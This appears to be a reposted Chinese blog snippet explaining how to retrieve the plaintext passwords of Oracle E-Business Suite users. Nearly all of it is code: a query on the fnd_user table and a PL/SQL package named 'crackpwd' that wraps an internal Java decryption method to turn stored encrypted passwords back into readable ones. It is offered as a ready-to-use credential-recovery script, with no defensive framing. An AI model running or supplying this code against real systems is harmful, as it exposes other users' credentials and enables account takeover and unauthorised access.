EBS系统怎样查询用户的账号和密码

来源：互联网发布：可视化编程软件初学编辑：程序博客网时间：2024/04/27 13:35

下面给出如何在Oracle EBS中查询已知账号的密码、登录名以及关联人员等信息。

<span style="font-size:14px;">SELECT b.full_name,       a.user_name ,       crackpwd.getpwd ( 'WELCOME',-------数据库登录密码                       encrypted_user_password ),       a.start_date ,       a.end_date  FROM applsys.fnd_user a ,       per_all_people_f b WHERE a.employee_id = b.person_id (+) AND b.full_name = '张三'         --系统关联用户名 --AND a.user_name= 'HD_HAND'  --登陆名 ORDER BY a.user_name ;</span>

<span style="font-size:14px;">---------------------------------CREATE OR REPLACE PACKAGE crackpwd AUTHID CURRENT_USER AS  FUNCTION getpwd(orauser    IN VARCHAR2,                  appuserpwd IN VARCHAR2)     RETURN VARCHAR2;END crackpwd;---------------------------------</span>

---------------------------------CREATE OR REPLACE PACKAGE BODY crackpwd AS  FUNCTION getpwd (orauser    IN VARCHAR2,                  appuserpwd IN VARCHAR2)    RETURN VARCHAR2    AS     LANGUAGE JAVA   NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';END crackpwd;----------------------------------

0 0